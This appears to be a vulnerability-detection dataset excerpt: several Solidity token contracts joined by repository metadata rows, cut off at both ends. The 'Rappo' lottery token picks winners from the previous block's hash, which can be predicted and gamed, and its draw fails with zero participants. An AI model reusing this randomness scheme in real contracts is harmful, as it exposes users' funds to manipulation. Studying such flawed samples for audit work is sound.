// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BellaDelphine is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'BellaD';
string private _symbol = 'Bella';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 202,771 | 14,010 |
122ce31f6654fe47e5cf55376efc442fb72bb8f17aa623b4c2782c9b27db3431
| 22,165 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x324e5e2335b8e8bdb11ec9ab7db176d7e2a875e1.sol
| 4,944 | 18,579 |
pragma solidity ^0.4.20;
contract Rappo {
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Rappo";
string public symbol = "RAPPO";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 15;
uint8 constant internal transferFee_ = 5;
uint8 constant internal exitFee_ = 15;
uint8 constant internal refferalFee_ = 20;
uint8 constant internal lotteryFee_ = 5;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake (defaults at 50 tokens)
uint256 public stakingRequirement = 50e18;
address owner;
mapping(address => bool) preauthorized;
bool gameInitiated;
uint256 private potSize=0.1 ether;
uint256 private lotteryRequirement=50e18;
address[] participants;
mapping(address => bool) isAdded;
mapping(address => uint256) internal participantsIndex;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
mapping(address => uint256) internal lotteryBalance_;
function Rappo(){
owner=msg.sender;
preauthorized[owner]=true;
}
function preauthorize(address _user) public {
require(msg.sender == owner);
preauthorized[_user] = true;
}
function startGame() public {
require(msg.sender == owner);
gameInitiated = true;
}
function buy(address _referredBy) public payable returns (uint256) {
require(preauthorized[msg.sender] || gameInitiated);
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
_dividends =SafeMath.add(_dividends,lotteryBalance_[_customerAddress]);
referralBalance_[_customerAddress] = 0;
lotteryBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
uint256 _lotteryAmount = SafeMath.div(SafeMath.mul(_ethereum, lotteryFee_), 100);
_taxedEthereum=SafeMath.sub(_taxedEthereum,_lotteryAmount);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
if(tokenBalanceLedger_[_customerAddress]<lotteryRequirement && isAdded[_customerAddress]){
isAdded[_customerAddress]=false;
uint indexToDelete = participantsIndex[_customerAddress];
address lastAddress = participants[participants.length - 1];
participants[indexToDelete] = lastAddress;
participants.length--;
participantsIndex[lastAddress] = indexToDelete;
delete participantsIndex[msg.sender];
}
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
drawLottery(_lotteryAmount);
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function getAllDividends() public view returns (uint256) {
address _customerAddress = msg.sender;
return dividendsOf(_customerAddress) + referralBalance_[_customerAddress] +lotteryBalance_[_customerAddress] ;
}
function lotteryBalance() public view returns (uint256) {
address _customerAddress = msg.sender;
return lotteryBalance_[_customerAddress] ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, (exitFee_+lotteryFee_)), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, (entryFee_+lotteryFee_)), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _lotteryAmount = SafeMath.div(SafeMath.mul(_incomingEthereum, lotteryFee_), 100);
_taxedEthereum=SafeMath.sub(_taxedEthereum,_lotteryAmount);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
if(tokenBalanceLedger_[_customerAddress]>=lotteryRequirement && !isAdded[msg.sender]){
participants.push(msg.sender);
participantsIndex[msg.sender]=participants.length-1;
isAdded[msg.sender]=true;
}
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
drawLottery(_lotteryAmount);
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function drawLottery(uint256 _lotteryAmount) internal{
uint256 winnerIndex = rand(participants.length);
address winner = participants[winnerIndex];
lotteryBalance_[winner]=SafeMath.add(lotteryBalance_[winner],_lotteryAmount);
}
// Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) constant public returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
return uint256((uint256(hashVal) / factor)) % max;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 205,010 | 14,011 |
a8779afdb70465ba6fa1d42012c509eb6b2207d0fdebad16ec8b7d8c340b864f
| 18,836 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/78/78bbd045b6b18aef01261bc18079275ec1a792b7_MonkeyAvax.sol
| 4,190 | 15,805 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MonkeyAvax is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'MonkeyAvax';
string private _symbol = 'MonkeyAvax';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
